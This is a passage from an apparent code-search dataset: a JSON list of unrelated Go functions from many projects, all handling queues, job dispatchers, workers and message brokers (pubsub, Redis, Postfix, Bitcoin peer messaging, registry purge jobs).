{\n\t\t// Send data onto inChan\n\t\t// IN THE ACT OF SLOW CONSUMERS MESSAGES WILL BE REQUEUED TO PUBSUB IF DOWNSTREAM BUFFER IS FULL\n\t\tselect {\n\t\tcase inChan <- m.Data:\n\t\t\t// Successfully pushed message downstream, ACK message\n\t\t\tm.Ack()\n\t\t\tlog.Printf(\"enqueued message onto internal channel. current channel length: %d\", len(d.psChan))\n\t\tdefault:\n\t\t\t// Could not push message downstream, requeue to pubsub server\n\t\t\tm.Nack()\n\t\t\tlog.Printf(\"could not enqueue received message. current channel buffer: %d. indicates slow consumers. Message has been requeued to pubsub\", len(d.psChan))\n\t\t}\n\n\t\treturn\n\t})\n\tif err != nil {\n\t\tlog.Printf(\"received error on pubsub Receive, Dequeuer is not receiving messages: %s\", err)\n\t}\n\n}", "func (p *Plugin) Run() {\n\tp.Log(\"notice\", fmt.Sprintf(\"Start %s handler: %sv%s\", pluginPkg, p.Name, version))\n\tbg := p.QChan.Data.Join()\n\tp.Connect()\n\tp.cleanDgraph()\n\tfor {\n\t\tselect {\n\t\tcase val := <-bg.Read:\n\t\t\tswitch val.(type) {\n\t\t\t// TODO: That has to be an interface!\n\t\t\tcase qtypes_messages.Message:\n\t\t\t\tqm := val.(qtypes_messages.Message)\n\t\t\t\tif qm.StopProcessing(p.Plugin, false) {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tp.Log(\"info\" , fmt.Sprintf(\"%-15s : %s\", strings.Join(qm.SourcePath, \"->\"), qm.Msg))\n\t\t\tcase qcache_inventory.ContainerRequest:\n\t\t\t\tcontinue\n\t\t\tcase qtypes_docker_events.ContainerEvent:\n\t\t\t\tce := val.(qtypes_docker_events.ContainerEvent)\n\t\t\t\tp.handleContainerEvent(ce)\n\t\t\tcase qtypes_docker_events.NetworkEvent:\n\t\t\t\tne := val.(qtypes_docker_events.NetworkEvent)\n\t\t\t\tp.handleNetworkEvent(ne)\n\t\t\tcase qtypes_docker_events.DockerEvent:\n\t\t\t\tde := val.(qtypes_docker_events.DockerEvent)\n\t\t\t\t//TODO: Extract engine info\n\t\t\t\tp.Log(\"info\", fmt.Sprintf(\"Got word: connected to '%s': %v\", de.Engine.Name, de.Engine.ServerVersion))\n\t\t\t\tcontinue\n\t\t\tdefault:\n\t\t\t\tp.Log(\"info\", fmt.Sprintf(\"Dunno type '%s': %v\", reflect.TypeOf(val), val))\n\t\t\t}\n\t\t}\n\t}\n}", "func (broker *Broker) dispatcher() {\n\tfor {\n\t\tselect {\n\t\tcase msg := <-broker.inbox:\n\t\t\thareMsg := &pb.HareMessage{}\n\t\t\terr := proto.Unmarshal(msg.Bytes(), hareMsg)\n\t\t\tif err != nil {\n\t\t\t\tlog.Error(\"Could not unmarshal message: \", err)\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tinstanceId := NewBytes32(hareMsg.Message.InstanceId)\n\n\t\t\tbroker.mutex.RLock()\n\t\t\tc, exist := broker.outbox[instanceId.Id()]\n\t\t\tbroker.mutex.RUnlock()\n\t\t\tmOut := Message{hareMsg, msg.Bytes(), msg.ValidationCompletedChan()}\n\t\t\tif exist {\n\t\t\t\t// todo: err if chan is full (len)\n\t\t\t\tc <- mOut\n\t\t\t} else {\n\n\t\t\t\tbroker.mutex.Lock()\n\t\t\t\tif _, exist := broker.pending[instanceId.Id()]; !exist {\n\t\t\t\t\tbroker.pending[instanceId.Id()] = make([]Message, 0)\n\t\t\t\t}\n\t\t\t\tbroker.pending[instanceId.Id()] = append(broker.pending[instanceId.Id()], mOut)\n\t\t\t\tbroker.mutex.Unlock()\n\t\t\t\t// report validity so that the message will be propagated without delay\n\t\t\t\tmOut.reportValidationResult(true) // TODO consider actually validating the message before reporting the validity\n\t\t\t}\n\n\t\tcase <-broker.CloseChannel():\n\t\t\treturn\n\t\t}\n\t}\n}", "func Dispatch() {\n\tfor {\n\t\tselect {\n\t\tcase job := <-jobQueue:\n\t\t\tgo func(jobID int64) {\n\t\t\t\tlog.Debugf(\"Trying to dispatch job: %d\", jobID)\n\t\t\t\tworker := <-WorkerPool.workerChan\n\t\t\t\tworker.RepJobs <- jobID\n\t\t\t}(job)\n\t\t}\n\t}\n}", "func (q *Queue) run() {\n\tdefer close(q.Pop)\n\tfor {\n\t\tvar pop chan amqp.Message\n\t\tvar front amqp.Message\n\t\tif el := q.messages.Front(); el != nil {\n\t\t\tfront = el.Value.(amqp.Message)\n\t\t\tpop = q.Pop // Only select for pop if there is something to pop.\n\t\t}\n\t\tselect {\n\t\tcase m, ok := <-q.Push:\n\t\t\tif !ok {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tDebugf(\"%s push: %s\\n\", q.name, FormatMessage(m))\n\t\t\tq.messages.PushBack(m)\n\t\tcase m, ok := <-q.Putback:\n\t\t\tDebugf(\"%s put-back: %s\\n\", q.name, FormatMessage(m))\n\t\t\tif !ok {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tq.messages.PushFront(m)\n\t\tcase pop <- front:\n\t\t\tDebugf(\"%s pop: %s\\n\", q.name, FormatMessage(front))\n\t\t\tq.messages.Remove(q.messages.Front())\n\t\t}\n\t}\n}", "func (d *Deployer) processDeployQueue(stopCh <-chan struct{}) {\n\t// handle a panic with logging and exiting\n\tdefer utilruntime.HandleCrash()\n\n\t// run the runWorker method every second with a stop channel\n\twait.Until(d.processDeployQueueWorker, time.Second, stopCh)\n}", "func StartDispatcher(ctx context.Context, wg *sync.WaitGroup, acrClient api.AcrCLIClientInterface, nWorkers int) {\n\tWorkerQueue = make(chan chan PurgeJob, nWorkers)\n\tworkers = []PurgeWorker{}\n\tfor i := 0; i < nWorkers; i++ {\n\t\tworker := NewPurgeWorker(wg, WorkerQueue, acrClient)\n\t\tworker.Start(ctx)\n\t\tworkers = append(workers, worker)\n\t}\n\n\tgo func() {\n\t\tfor job := range JobQueue {\n\t\t\t// Get a job from the JobQueue\n\t\t\tgo func(job PurgeJob) {\n\t\t\t\t// Get a worker (block if there are none available) to process the job\n\t\t\t\tworker := <-WorkerQueue\n\t\t\t\t// Assign the job to the worker\n\t\t\t\tworker <- job\n\t\t\t}(job)\n\t\t}\n\t}()\n}", "func (c *Client) processQueue(stream gpb.GNMI_SubscribeServer) error {\n\tfor {\n\t\titems, err := c.q.Get(1)\n\n\t\tif items == nil {\n\t\t\treturn fmt.Errorf(\"queue closed %v\", err)\n\t\t}\n\t\tif err != nil {\n\t\t\tc.errors++\n\t\t\treturn fmt.Errorf(\"unexpected queue Gext(1): %v\", err)\n\t\t}\n\n\t\tvar resp *gpb.SubscribeResponse\n\t\tswitch v := items[0].(type) {\n\t\tcase Value:\n\t\t\tif resp, err = c.valToResp(v); err != nil {\n\t\t\t\tc.errors++\n\t\t\t\treturn err\n\t\t\t}\n\t\tdefault:\n\t\t\tlog.V(1).Infof(\"Unknown data type %v for %s in queue\", items[0], c)\n\t\t\tc.errors++\n\t\t}\n\n\t\tc.sendMsg++\n\t\terr = stream.Send(resp)\n\t\tif err != nil {\n\t\t\tlog.V(1).Infof(\"Client %s sending error:%v\", c, resp)\n\t\t\tc.errors++\n\t\t\treturn err\n\t\t}\n\t\tlog.V(2).Infof(\"Client %s done sending, msg count %d, msg %v\", c, c.sendMsg, resp)\n\t}\n}", "func (q *Queue) EnQueue(d sh.QData) {\n\tq.mux.Lock()\n\tq.list.Append(d)\n\tq.mux.Unlock()\n}", "func (task *QueueTask) EnQueue(value interface{}) {\n\ttask.MessageChan <- value\n}", "func (q *Queue) Dispatch(job Job) {\n\tq.jobChan <- &baseJob{\n\t\tJob: job,\n\t\ttries: 0,\n\t\tmaxTries: q.maxTries,\n\t}\n}", "func (q *Queue) Queue(action func()) {\n\tif !q.stopped {\n\t\tq.pendingC <- action\n\t} else {\n\t\tq.l.Error(\"queue failed: queue is stopped, cannot queue more elements\")\n\t}\n}", "func (s *shardWorker) chunkQueueHandler() {\n\tguildsToBeProcessed := make([]*GuildCreateEvt, 0)\n\n\tticker := time.NewTicker(time.Second)\n\tdefer ticker.Stop()\n\tfor {\n\t\tselect {\n\t\tcase <-s.StopChan:\n\t\t\treturn\n\t\tcase g := <-s.GCCHan:\n\t\t\tguildsToBeProcessed = append(guildsToBeProcessed, g)\n\t\tcase <-ticker.C:\n\t\t\tif len(guildsToBeProcessed) < 1 || !s.server.AllGuildsReady() {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\ts.server.chunkLock.Lock()\n\t\t\tif !s.server.chunkEvtHandled {\n\t\t\t\ts.server.chunkLock.Unlock()\n\t\t\t\tcontinue\n\t\t\t} else {\n\t\t\t\ts.server.chunkEvtHandled = false\n\t\t\t\ts.server.chunkLock.Unlock()\n\t\t\t}\n\n\t\t\tg := guildsToBeProcessed[0]\n\t\t\tguildsToBeProcessed = guildsToBeProcessed[1:]\n\n\t\t\terr := g.Session.RequestGuildMembers(strconv.FormatInt(g.G, 10), \"\", 0)\n\n\t\t\tif s.server.handleError(err, \"Worker failed requesting guild members, retrying...\") {\n\t\t\t\tguildsToBeProcessed = append(guildsToBeProcessed, g)\n\t\t\t}\n\t\t}\n\t}\n}", "func (s *Session) sendQueueMessages(parentContext context.Context) error {\n\ts.queueMessages.Lock()\n\tdefer func() {\n\t\ts.queueMessages.events = filterEventsFromOffset(s.queueMessages.events, s.Offset())\n\t\ts.queueMessages.open()\n\t\ts.queueMessages.Unlock()\n\t}()\n\n\tevents := filterEventsFromOffset(s.queueMessages.events, s.Offset())\n\n\tif len(events) == 0 {\n\t\treturn nil\n\t}\n\n\treturn s.sendChunked(parentContext, events)\n}", "func (qc *queueClient) flushQueue() {\n\tqc.mu.RLock()\n\tc := qc.peek()\n\tqc.mu.RUnlock()\n\tfor c.which() != qcallInvalid {\n\t\tqc.handle(&c)\n\n\t\tqc.mu.Lock()\n\t\tqc.pop()\n\t\tc = qc.peek()\n\t\tqc.mu.Unlock()\n\t}\n}", "func (w *worker) dequeue(scq *sizeClassQueue) {\n\tif len(w.lastInvocations) == 0 {\n\t\t// Worker has never run an operation before. The worker\n\t\t// was only queued as part of the size class queue\n\t\t// itself.\n\t\tscq.idleSynchronizingWorkers.dequeue(w.listIndices[0])\n\t} else {\n\t\t// Worker has run an operation before. The worker was\n\t\t// queued as part of one or more invocations.\n\t\tfor idx, i := range w.lastInvocations {\n\t\t\ti.idleSynchronizingWorkers.dequeue(w.listIndices[idx])\n\t\t\theapRemoveOrFix(\n\t\t\t\t&scq.idleSynchronizingWorkersInvocations,\n\t\t\t\ti.idleSynchronizingWorkersInvocationsIndex,\n\t\t\t\tlen(i.idleSynchronizingWorkers))\n\t\t}\n\t}\n\tw.wakeup = nil\n\tw.listIndices = w.listIndices[:0]\n}", "func (n *resPool) queue(qt QueueType) queue.Queue {\n\tswitch qt {\n\tcase ControllerQueue:\n\t\treturn n.controllerQueue\n\tcase NonPreemptibleQueue:\n\t\treturn n.npQueue\n\tcase PendingQueue:\n\t\treturn n.pendingQueue\n\tcase RevocableQueue:\n\t\treturn n.revocableQueue\n\t}\n\n\t// should never come here\n\treturn nil\n}", "func (svr *Saver) queue(msg *netlink.ArchivalRecord) error {\n\tidm, err := msg.RawIDM.Parse()\n\tif err != nil {\n\t\tlog.Println(err)\n\t\t// TODO error metric\n\t}\n\tcookie := idm.ID.Cookie()\n\tif cookie == 0 {\n\t\treturn errors.New(\"Cookie = 0\")\n\t}\n\tif len(svr.MarshalChans) < 1 {\n\t\treturn ErrNoMarshallers\n\t}\n\tq := svr.MarshalChans[int(cookie%uint64(len(svr.MarshalChans)))]\n\tconn, ok := svr.Connections[cookie]\n\tif !ok {\n\t\t// Create a new connection for first time cookies. For late connections already\n\t\t// terminating, log some info for debugging purposes.\n\t\tif idm.IDiagState >= uint8(tcp.FIN_WAIT1) {\n\t\t\ts, r := msg.GetStats()\n\t\t\tlog.Println(\"Starting:\", msg.Timestamp.Format(\"15:04:05.000\"), cookie, tcp.State(idm.IDiagState), TcpStats{s, r})\n\t\t}\n\t\tconn = newConnection(idm, msg.Timestamp)\n\t\tsvr.eventServer.FlowCreated(msg.Timestamp, uuid.FromCookie(cookie), idm.ID.GetSockID())\n\t\tsvr.Connections[cookie] = conn\n\t} else {\n\t\t//log.Println(\"Diff inode:\", inode)\n\t}\n\tif time.Now().After(conn.Expiration) && conn.Writer != nil {\n\t\tq <- Task{nil, conn.Writer} // Close the previous file.\n\t\tconn.Writer = nil\n\t}\n\tif conn.Writer == nil {\n\t\terr := conn.Rotate(svr.Host, svr.Pod, svr.FileAgeLimit)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tq <- Task{msg, conn.Writer}\n\treturn nil\n}", "func (q *GCPPubSubQueue) receive(ctx context.Context, f func(interface{})) {\n\terr := q.subscription.Receive(ctx, func(ctx xContext.Context, msg *pubsub.Message) {\n\t\tlogger := q.logger.With(\"messageID\", msg.ID)\n\n\t\tlogger.With(\"publishTime\", msg.PublishTime).Info(\"processing job published\")\n\n\t\t// Acknowledge the job now, anything else that could fail by this instance\n\t\t// will probably fail for others.\n\t\tmsg.Ack()\n\t\tlogger.Info(\"acknowledged job\")\n\n\t\treader := bytes.NewReader(msg.Data)\n\t\tdec := gob.NewDecoder(reader)\n\n\t\tvar job container\n\t\tif err := dec.Decode(&job); err != nil {\n\t\t\tlogger.With(\"error\", err).Errorf(\"could not decode job\")\n\t\t\treturn\n\t\t}\n\t\tlogger.Info(\"processing\")\n\n\t\tf(job.Job)\n\t})\n\tif err != nil && err != context.Canceled {\n\t\tq.logger.With(\"error\", err).Error(\"could not receive on subscription\")\n\t}\n}", "func queueWorker() {\n\tcrossRefClient := crossref.NewCrossRefClient(&http.Client{})\n\tbibClient := bibtex.NewDXDOIClient(&http.Client{})\n\tfor {\n\t\tx := <-enhancementChan\n\t\tfor counter.Get() > 40 {\n\t\t\ttime.Sleep(time.Millisecond * 10)\n\t\t}\n\t\tcounter.Inc()\n\t\tgo gatherAdditionalInfo(crossRefClient, bibClient, x)\n\n\t}\n}", "func (jq *jobQueue) run(s *Scheduler) {\n\n\tgo func() {\n\t\tlog.Debugf(\"Job queue is running...\")\n\t\tfor jq.process(s) {\n\t\t\t// empty\n\t\t}\n\t\tjq.stopped <- true\n\t}()\n}", "func demo_queue() {\n fmt.Print(\"\\n---QUEUE Logic---\\n\\n\")\n q := queue.Queue{}\n\n for i := 0; i <= 5; i++ {\n q.Enqueue(i)\n }\n fmt.Print(\"---Queue Before Dequeue---\\n\")\n q.PrintAll()\n dequeued := q.Dequeue()\n fmt.Printf(\"Dequeued Value: %v\\n\", dequeued)\n fmt.Print(\"---Queue After Dequeue---\\n\")\n q.PrintAll()\n}", "func (q *ChannelQueue) Run(atShutdown, atTerminate func(func())) {\n\tpprof.SetGoroutineLabels(q.baseCtx)\n\tatShutdown(q.Shutdown)\n\tatTerminate(q.Terminate)\n\tlog.Debug(\"ChannelQueue: %s Starting\", q.name)\n\t_ = q.AddWorkers(q.workers, 0)\n}", "func (dlqHandlerAdapter *DLQHandlerAdapter) Send(ctx context.Context, dlqMessage *DeadLetterQueueMessage) (err error) {\n\theaders := MessageHeaders{}\n\theaders.Add(\"dlq\", \"true\")\n\n\tkey := fmt.Sprintf(\"%s:%s:%s:%d\",\n\t\tdlqMessage.Consumer,\n\t\tdlqMessage.Channel,\n\t\tdlqMessage.Key,\n\t\ttime.Now().UnixNano(),\n\t)\n\n\tmessageByte, _ := json.Marshal(dlqMessage)\n\ttopics := dlqHandlerAdapter.topic\n\n\terr = dlqHandlerAdapter.publisher.Send(\n\t\tctx,\n\t\ttopics,\n\t\tkey,\n\t\theaders,\n\t\tmessageByte,\n\t)\n\n\treturn\n}", "func (q *Queue) updateQueue() {\n\tpurge := []int{}\n\t// Loop through jobs and get the status of running jobs\n\tfor i, _ := range q.stack {\n\t\tif q.stack[i].Status == common.STATUS_RUNNING {\n\t\t\t// Build status update call\n\t\t\tjobStatus := common.RPCCall{Job: q.stack[i]}\n\n\t\t\terr := q.pool[q.stack[i].ResAssigned].Client.Call(\"Queue.TaskStatus\", jobStatus, &q.stack[i])\n\t\t\t// we care about the errors, but only from a logging perspective\n\t\t\tif err != nil {\n\t\t\t\tlog.WithField(\"rpc error\", err.Error()).Error(\"Error during RPC call.\")\n\t\t\t}\n\n\t\t\t// Check if this is now no longer running\n\t\t\tif q.stack[i].Status != common.STATUS_RUNNING {\n\t\t\t\t// Release the resources from this change\n\t\t\t\tlog.WithField(\"JobID\", q.stack[i].UUID).Debug(\"Job has finished.\")\n\n\t\t\t\t// Call out to the registered hooks that the job is complete\n\t\t\t\tgo HookOnJobFinish(Hooks.JobFinish, q.stack[i])\n\n\t\t\t\tvar hw string\n\t\t\t\tfor _, v := range q.pool[q.stack[i].ResAssigned].Tools {\n\t\t\t\t\tif v.UUID == q.stack[i].ToolUUID {\n\t\t\t\t\t\thw = v.Requirements\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tq.pool[q.stack[i].ResAssigned].Hardware[hw] = true\n\n\t\t\t\t// Set a purge time\n\t\t\t\tq.stack[i].PurgeTime = time.Now().Add(time.Duration(q.jpurge*24) * time.Hour)\n\t\t\t\t// Log purge time\n\t\t\t\tlog.WithFields(log.Fields{\n\t\t\t\t\t\"JobID\": q.stack[i].UUID,\n\t\t\t\t\t\"PurgeTime\": q.stack[i].PurgeTime,\n\t\t\t\t}).Debug(\"Updated PurgeTime value\")\n\t\t\t}\n\t\t}\n\n\t\t// Check and delete jobs past their purge timer\n\t\tif q.stack[i].Status == common.STATUS_DONE || q.stack[i].Status == common.STATUS_FAILED || q.stack[i].Status == common.STATUS_QUIT {\n\t\t\tif time.Now().After(q.stack[i].PurgeTime) {\n\t\t\t\tpurge = append(purge, i)\n\t\t\t}\n\t\t}\n\t}\n\n\t// Do we need to purge?\n\tif len(purge) > 0 {\n\t\t// Let the purge begin\n\t\tnewStack := []common.Job{}\n\t\t// Loop on the stack looking for index values that patch a value in the purge\n\t\tfor i := range q.stack {\n\t\t\t// Check if our index is in the purge\n\t\t\tvar inPurge bool\n\t\t\tfor _, v := range purge {\n\t\t\t\tif i == v {\n\t\t\t\t\tinPurge = true\t\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// It is not in the purge so append to new stack\n\t\t\tif !inPurge {\n\t\t\t\tnewStack = append(newStack, q.stack[i])\n\t\t\t}\n\t\t}\n\t\tq.stack = newStack\n\t}\n}", "func (qrs *queuedRetrySender) start(ctx context.Context, host component.Host) error {\n\terr := qrs.initializePersistentQueue(ctx, host)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tqrs.queue.StartConsumers(qrs.cfg.NumConsumers, func(item interface{}) {\n\t\treq := item.(request)\n\t\t_ = qrs.consumerSender.send(req)\n\t\treq.OnProcessingFinished()\n\t})\n\n\t// Start reporting queue length metric\n\tif qrs.cfg.Enabled {\n\t\terr := globalInstruments.queueSize.UpsertEntry(func() int64 {\n\t\t\treturn int64(qrs.queue.Size())\n\t\t}, metricdata.NewLabelValue(qrs.fullName()))\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"failed to create retry queue size metric: %v\", err)\n\t\t}\n\t}\n\n\treturn nil\n}", "func (d *Database) run(maxRequest int, conn redis.Conn) {\n\t// We limit the number of in-flight requests to Redis\n\treceiverChan := make(chan *Request, maxRequest)\n\tgo d.receiver(receiverChan, conn)\n\n\tfor {\n\t\t// Get all the requests we can from the queue and exec them all at once\n\t\t// via the pipeline\n\n\t\t// wait for a request to come in\n\t\tr := <-d.Input\n\t\tlog.Println(\"redis: sending requests for\", r.Key)\n\t\treceiverChan <- r // send request to receiver for further processing\n\t\tconn.Send(\"GET\", r.Key)\n\t\tconn.Flush()\n\t}\n}", "func (c *PostfixQueueCollector) Collect(ch chan<- prometheus.Metric) {\n\tc.mu.Lock()\n\tdefer c.mu.Unlock()\n\n\tc.ageSecondsHistogram.Collect(ch)\n\tc.sizeBytesHistogram.Collect(ch)\n\tc.scrapeDurationGauge.Collect(ch)\n\tc.scrapeSuccessGauge.Collect(ch)\n}", "func (s *Consumer) Queue(job QueuedMessage) error {\n\tif atomic.LoadInt32(&s.stopFlag) == 1 {\n\t\treturn ErrQueueShutdown\n\t}\n\n\tselect {\n\tcase s.taskQueue <- job:\n\t\treturn nil\n\tdefault:\n\t\treturn errMaxCapacity\n\t}\n}", "func dispatchIncomingMessages() {\n\tfor msg := range incomingQueue {\n\t\tdlog.Println(\"Sending\", msg.genBody())\n\t\tresp, err := http.Post(config.Settings.IncomingURL,\n\t\t\t\"application/x-www-form-urlencoded\",\n\t\t\tstrings.NewReader(msg.genBody()))\n\t\tif err != nil {\n\t\t\tdlog.Println(\"Error when posting incoming msg:\", err)\n\t\t} else {\n\t\t\tdefer resp.Body.Close()\n\t\t\tbody, _ := ioutil.ReadAll(resp.Body)\n\t\t\tdlog.Printf(\"%d: %s\\n\", resp.StatusCode, body)\n\t\t}\n\t}\n}", "func (p *Peer) queueHandler() {\n\tpendingMsgs := list.New()\n\tinvSendQueue := list.New()\n\ttrickleTicker := time.NewTicker(p.cfg.TrickleInterval)\n\tdefer trickleTicker.Stop()\n\n\t// We keep the waiting flag so that we know if we have a message queued\n\t// to the outHandler or not. We could use the presence of a head of\n\t// the list for this but then we have rather racy concerns about whether\n\t// it has gotten it at cleanup time - and thus who sends on the\n\t// message's done channel. To avoid such confusion we keep a different\n\t// flag and pendingMsgs only contains messages that we have not yet\n\t// passed to outHandler.\n\twaiting := false\n\n\t// To avoid duplication below.\n\tqueuePacket := func(msg outMsg, list *list.List, waiting bool) bool {\n\t\tif !waiting {\n\t\t\tp.sendQueue <- msg\n\t\t} else {\n\t\t\tlist.PushBack(msg)\n\t\t}\n\t\t// we are always waiting now.\n\t\treturn true\n\t}\nout:\n\tfor {\n\t\tselect {\n\t\tcase msg := <-p.outputQueue:\n\t\t\twaiting = queuePacket(msg, pendingMsgs, waiting)\n\n\t\t// This channel is notified when a message has been sent across\n\t\t// the network socket.\n\t\tcase <-p.sendDoneQueue:\n\t\t\t// No longer waiting if there are no more messages\n\t\t\t// in the pending messages queue.\n\t\t\tnext := pendingMsgs.Front()\n\t\t\tif next == nil {\n\t\t\t\twaiting = false\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// Notify the outHandler about the next item to\n\t\t\t// asynchronously send.\n\t\t\tval := pendingMsgs.Remove(next)\n\t\t\tp.sendQueue <- val.(outMsg)\n\n\t\tcase iv := <-p.outputInvChan:\n\t\t\t// No handshake? They'll find out soon enough.\n\t\t\tif p.VersionKnown() {\n\t\t\t\t// If this is a new block, then we'll blast it\n\t\t\t\t// out immediately, sipping the inv trickle\n\t\t\t\t// queue.\n\t\t\t\tif iv.Type == wire.InvTypeBlock ||\n\t\t\t\t\tiv.Type == wire.InvTypeWitnessBlock {\n\n\t\t\t\t\tinvMsg := wire.NewMsgInvSizeHint(1)\n\t\t\t\t\tinvMsg.AddInvVect(iv)\n\t\t\t\t\twaiting = queuePacket(outMsg{msg: invMsg},\n\t\t\t\t\t\tpendingMsgs, waiting)\n\t\t\t\t} else {\n\t\t\t\t\tinvSendQueue.PushBack(iv)\n\t\t\t\t}\n\t\t\t}\n\n\t\tcase <-trickleTicker.C:\n\t\t\t// Don't send anything if we're disconnecting or there\n\t\t\t// is no queued inventory.\n\t\t\t// version is known if send queue has any entries.\n\t\t\tif atomic.LoadInt32(&p.disconnect) != 0 ||\n\t\t\t\tinvSendQueue.Len() == 0 {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// Create and send as many inv messages as needed to\n\t\t\t// drain the inventory send queue.\n\t\t\tinvMsg := wire.NewMsgInvSizeHint(uint(invSendQueue.Len()))\n\t\t\tfor e := invSendQueue.Front(); e != nil; e = invSendQueue.Front() {\n\t\t\t\tiv := invSendQueue.Remove(e).(*wire.InvVect)\n\n\t\t\t\t// Don't send inventory that became known after\n\t\t\t\t// the initial check.\n\t\t\t\tif p.knownInventory.Contains(iv) {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tinvMsg.AddInvVect(iv)\n\t\t\t\tif len(invMsg.InvList) >= maxInvTrickleSize {\n\t\t\t\t\twaiting = queuePacket(\n\t\t\t\t\t\toutMsg{msg: invMsg},\n\t\t\t\t\t\tpendingMsgs, waiting)\n\t\t\t\t\tinvMsg = wire.NewMsgInvSizeHint(uint(invSendQueue.Len()))\n\t\t\t\t}\n\n\t\t\t\t// Add the inventory that is being relayed to\n\t\t\t\t// the known inventory for the peer.\n\t\t\t\tp.AddKnownInventory(iv)\n\t\t\t}\n\t\t\tif len(invMsg.InvList) > 0 {\n\t\t\t\twaiting = queuePacket(outMsg{msg: invMsg},\n\t\t\t\t\tpendingMsgs, waiting)\n\t\t\t}\n\n\t\tcase <-p.quit:\n\t\t\tbreak out\n\t\t}\n\t}\n\n\t// Drain any wait channels before we go away so we don't leave something\n\t// waiting for us.\n\tfor e := pendingMsgs.Front(); e != nil; e = pendingMsgs.Front() {\n\t\tval := pendingMsgs.Remove(e)\n\t\tmsg := val.(outMsg)\n\t\tif msg.doneChan != nil {\n\t\t\tmsg.doneChan <- struct{}{}\n\t\t}\n\t}\ncleanup:\n\tfor {\n\t\tselect {\n\t\tcase msg := <-p.outputQueue:\n\t\t\tif msg.doneChan != nil {\n\t\t\t\tmsg.doneChan <- struct{}{}\n\t\t\t}\n\t\tcase <-p.outputInvChan:\n\t\t\t// Just drain channel\n\t\t// sendDoneQueue is buffered so doesn't need draining.\n\t\tdefault:\n\t\t\tbreak cleanup\n\t\t}\n\t}\n\tclose(p.queueQuit)\n\tlog.Tracef(\"Peer queue handler done for %s\", p)\n}", "func (q *Queue) Run() {\n\tfor i := uint8(0); i < q.concurrency; i++ {\n\t\tgo q.work()\n\t}\n\tfor {\n\t\t// dequeue the job\n\t\t// jobJSONSlice will always be 2 length\n\t\tjobJSONSlice, err := client.BLPop(0, q.queueName).Result()\n\t\tif err != nil {\n\t\t\tq.errorHandler(q, \"\", err)\n\t\t\tcontinue\n\t\t}\n\n\t\tq.jobChannel <- jobJSONSlice[1]\n\t}\n}", "func (d *dispatcher) dispatch() {\n\tfor *(d.active) < d.cap {\n\t\tf := d.queue.pop()\n\t\tif f == nil {\n\t\t\tbreak\n\t\t}\n\n\t\t// increment the active counter\n\t\tatomic.AddInt32(d.active, 1)\n\n\t\tgo func(active *int32, poke chan struct{}) {\n\t\t\tf()\n\t\t\tatomic.AddInt32(active, -1)\n\t\t\td.poke <- struct{}{}\n\t\t}(d.active, d.poke)\n\t}\n}", "func (f *FPC) enqueue() {\n\tf.queueMu.Lock()\n\tdefer f.queueMu.Unlock()\n\tf.ctxsMu.Lock()\n\tdefer f.ctxsMu.Unlock()\n\tfor ele := f.queue.Front(); ele != nil; ele = f.queue.Front() {\n\t\tvoteCtx := ele.Value.(*vote.Context)\n\t\tf.ctxs[voteCtx.ID] = voteCtx\n\t\tf.queue.Remove(ele)\n\t\tdelete(f.queueSet, voteCtx.ID)\n\t}\n}", "func (q *Queue) Run() {\n\tvar ticker = time.NewTicker(q.rate)\n\tfor {\n\t\tselect {\n\t\tcase <-ticker.C:\n\t\t\tq.l.Debugw(\"preparing to flush\")\n\t\t\tq.flush()\n\n\t\tcase action := <-q.pendingC:\n\t\t\tq.l.Debugw(\"executing and adding to flush queue\")\n\t\t\tgo q.queue(action)\n\n\t\tcase <-q.stopC:\n\t\t\tq.l.Infow(\"stopping background job\")\n\t\t\tticker.Stop()\n\t\t\treturn\n\t\t}\n\t}\n}", "func HoldQueueMessages(QueueIDs []string) error {\n\t// only run subprocess if there are queue ids in the list\n\tif len(QueueIDs) == 0 {\n\t\treturn nil\n\t}\n\t// prepare command and pipe to its stdin\n\tcmd := exec.Command(\"/usr/bin/sudo\", \"/usr/sbin/postsuper\", \"-h\", \"-\")\n\tstdin, err := cmd.StdinPipe()\n\tif err != nil {\n\t\tfmt.Println(\"StdinPipe():\", err)\n\t\treturn err\n\t}\n\t// start subprocess\n\tif err := cmd.Start(); err != nil {\n\t\tfmt.Println(\"Start():\", err)\n\t\treturn err\n\t}\n\t// write queue ids sequentially\n\tfor _, qid := range QueueIDs {\n\t\tif _, err := fmt.Fprintf(stdin, qid); err != nil {\n\t\t\tfmt.Println(\"Fprintf():\", err)\n\t\t\treturn err\n\t\t}\n\t}\n\t// close stdin to signal end of input\n\tif err := stdin.Close(); err != nil {\n\t\tfmt.Println(\"Close():\", err)\n\t\treturn err\n\t}\n\t// wait for subprocess to end\n\tif err := cmd.Wait(); err != nil {\n\t\tfmt.Println(\"Wait():\", err)\n\t\treturn err\n\t}\n\treturn nil\n}", "func (o *operation) enqueue() {\n\ti := o.invocation\n\theap.Push(&i.queuedOperations, o)\n\tscq := i.sizeClassQueue\n\theapPushOrFix(&scq.queuedInvocations, i.queuedInvocationsIndex, i)\n}", "func CollectReinstatements(queue chan []Event) {\n\t//tracks broken devices between loop iterations; we only send an event when\n\t//a device is removed from this set\n\tbrokenDevices := make(map[string]bool)\n\n\tinterval := util.GetJobInterval(5*time.Second, 1*time.Second)\nOUTER:\n\tfor {\n\t\tvar events []Event\n\n\t\t//enumerate broken devices linked in /run/swift-storage/broken\n\t\tnewBrokenDevices := make(map[string]bool)\n\n\t\tfor _, brokenFlagDir := range []string{\"run/swift-storage/broken\", \"var/lib/swift-storage/broken\"} {\n\t\t\tsuccess := util.ForeachSymlinkIn(brokenFlagDir,\n\t\t\t\tfunc(name, devicePath string) {\n\t\t\t\t\tnewBrokenDevices[devicePath] = true\n\t\t\t\t},\n\t\t\t)\n\t\t\tif !success {\n\t\t\t\tcontinue OUTER\n\t\t\t}\n\t\t}\n\n\t\t//generate DriveReinstatedEvent for all devices that are not broken anymore\n\t\tfor 